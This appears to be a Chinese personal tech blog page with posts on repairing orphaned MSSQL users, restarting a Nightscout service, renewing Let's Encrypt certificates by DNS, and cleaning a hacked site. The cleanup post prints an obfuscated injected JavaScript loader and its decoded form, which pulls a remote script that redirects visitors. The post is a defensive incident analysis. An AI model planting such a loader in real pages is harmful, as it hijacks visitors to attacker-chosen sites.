阿水的世界。

分类 网站相关 下的文章

05月 07

数据库还原造成的孤立用户没有登陆名的修复办法

这几天给一个网站更换服务器,旧服务器是windows server2008,网站使用的是asp.net开发,使用的数据库是Mssql2008,因为winserver2008已经停止更新了,所以新的服务器安装的是Windows Server 2022 Datacenter系统,数据库安装的是Mssql2012。对应用和数据库进行迁移,数据库还原以后,访问网站时出现了问题,提示无法登陆。

经检查,因为我在旧的服务器上对数据库做的是备份操作,生成的文件在新的服务器上做的是还原数据库操作,这样回复数据库的结果是只将数据库本身还原了,但是系统数据库中没有这个数据库中的用户信息,造成了数据库中的用户成为了孤立用户,系统中没有该用户的登陆名,所以不具备登陆权限。

孤立帐户,就是某个数据库的帐户只有用户名而没有登录名,这样的用户在用户库的sysusers系统表中存在,而在master数据库的syslogins中却没有对应的记录。

查到原因后,自己进行了修复尝试,在mssql的“安全性”-“登陆名”下,增加一个和原数据库中的登陆名一致的用户,这个时候就出现了问题,显示已经存在该用户,无法新增,但是经过此操作后在“登陆名”项目下出现了准备新增的用户。经过尝试,仍然无法登陆,并且无法赋上对数据库的各项的权限。

经过搜索,找到了如下的修复方法:

首先将在需要修复的数据库中新建查询,执行下边命令即可:

  1. 列出当前数据库的孤立用户(这步不是必须)

    exec sp_change_users_login 'REPORT'

  2. 将孤立用户所对应的同名登录名添加到syslogins中

    exec sp_change_users_login 'AUTO_FIX','用户名'

  3. 也可以使用这个命令,将用户名映射为指定的登录名

    exec sp_change_users_login 'UPDATE_ONE','用户名','登录名'

这里边的用户名和登陆名应根据实际情况修改。

执行完后,数据库访问就正常了。

12月 24

重启xdrip+的配套相关服务Nightcout

Nightcout是一个用于血糖数据收集的在线数据库,可用于xdrip+的数据同步。
在linux系统下,搭建的Nightcout因为使用了SSL,且证书过期,导致数据无法同步,显示SSL过期,重发证书后,无法使用npm stop dev停止该项目。

因为Nightcout使用的nodejs编写,可以通过查询node关键词获取进程id,然后用kill杀死进程,再重新启动Nightcout服务即可。

具体可使用如下命令:

  1. 使用netstat -nap | grep node命令查询id号,同时结合服务监听的端口来确定准确的id号
  2. 使用kill -9 id号杀死当前进程
  3. 使用npm run devnpm run proc重新启动服务即可。
06月 25

更新Let's Encrypt SSL证书(通过DNS方式验证)

刚刚,网站的Let's Encrypt SSL到期了,需要更新一下证书,但是不想通过80端口自动更新,想使用DNS验证的方式手动更新,
现在服务器已经安装过certbot,使用这个命令certbot-auto --manual --preferred-challenges dns certonly更新证书。
如果遇到这个错误:

Upgrading certbot-auto X.XX to X.XX.X...

Couldn't download https://raw.githubusercontent.com/certbot/certbot/v0.XX.0/letsencrypt-auto-source/letsencrypt-auto. <urlopen error [Errno 110] Connection timed out>

原因是:certbot-auto将始终尝试从最新版本中获取自身的最新版本。

解决方案:在命令后加 --no-self-upgrade 即可。即:

certbot-auto --manual --preferred-challenges dns certonly --no-self-upgrade

运行后,根据提示输入单个或多个域名,多个域名中间用英文逗号隔开,再次显示:

Please deploy a DNS TXT record under the name
_acme-challenge.XXXX.com with the following value:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Before continuing, verify the record is deployed.

这时需要更新域名的_acme-challenge解析值,解析完成后,使用nslookup命令可以查到相应的解析后,再点继续。
具体查询命令如下:

$ nslookup
> set type=txt
> _acme-challenge.XXXX.com
Server:    223.5.5.5
Address:    223.5.5.5#53

Non-authoritative answer:
_acme-challenge.XXXX.com    text = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

certbot提示证书更新成功后,重启网站服务即可。
lnmp重启nginx命令:sudo lnmp nginx restart

至此,SSL更新完成。

05月 11

一例挂马清理修复实录

刚刚,朋友发来信息,说他的网站登录后台会跳转到其他网站。我看了下,从手机上的登录后没有发现跳转问题,以为是他的电脑被装了插件。于是远程他的电脑,清理了一下系统,没发现问题,再次登录网站,访问同一个页面的时候还是会跳转,经过浏览器抓包发现页面跳转到了其他网站。
挂马拦截.jpg
判断是网页被挂马了,于是开始查找网页源代码。在访问的固定页面源代码中没发现问题,但是引用了两个文件,一个是<!--#include file="Admin_Common.asp"-->,一个是<script language="JavaScript" type="text/JavaScript" src="../js/date.js"></script>

源码引用了2个文件.jpg

仔细检查了两个文件后,发现date.js文件日期有问题,明显是被修改过了
js脚本被修改.jpg
js脚本内容.jpg
被挂了马并加密具体内容为:

var Uo1 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65']('\x48\x45\x41\x44')['\x69\x74\x65\x6d'](0); var KSFnLmPDG2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']("\x73\x63\x72\x69\x70\x74"); KSFnLmPDG2['\x74\x79\x70\x65'] = "\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74"; KSFnLmPDG2['\x73\x72\x63']="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x2e\x73\x64\x77\x33\x32\x2e\x63\x6f\x6d\x2f\x67\x65\x74\x61\x64\x6d\x69\x6e\x2e\x6a\x73"; Uo1['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64']( KSFnLmPDG2);

是url unicode加密。

继续破解加密内容,在记事本中将\x全部替换为%var Uo1 = window["%64%6f%63%75%6d%65%6e%74"]['%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65']('%48%45%41%44')['%69%74%65%6d'](0); var KSFnLmPDG2= window["%64%6f%63%75%6d%65%6e%74"]['%63%72%65%61%74%65%45%6c%65%6d%65%6e%74']("%73%63%72%69%70%74"); KSFnLmPDG2['%74%79%70%65'] = "%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74"; KSFnLmPDG2['%73%72%63']="%68%74%74%70%3a%2f%2f%73%2e%73%64%77%33%32%2e%63%6f%6d%2f%67%65%74%61%64%6d%69%6e%2e%6a%73"; Uo1['%61%70%70%65%6e%64%43%68%69%6c%64']( KSFnLmPDG2);

利用站长工具urldecode工具(http://tool.chinaz.com/tools/urlencode.aspx)进行解码,得到:

var Uo1 = window["document"]['getElementsByTagName']('HEAD')['item'](0); var KSFnLmPDG2= window["document"]['createElement']("script"); KSFnLmPDG2['type'] = "text/javascript"; KSFnLmPDG2['src']="http://s.sdw32.com/getadmin.js"; Uo1['appendChild']( KSFnLmPDG2);

浏览器访问http://s.sdw32.com/getadmin.js,得到window.location='http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name?ref=' + window.location.href;

继续访问http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name
出现问题跳转的页面,至此解密成功。

修复比较简单,将data.js文件中的挂马内容删除就可以了。

03月 31

换个服务器

去年买的服务器空间又到期了,重新换了个服务器,刚搭起来,看效果还不错。
Chrysanthemum.jpg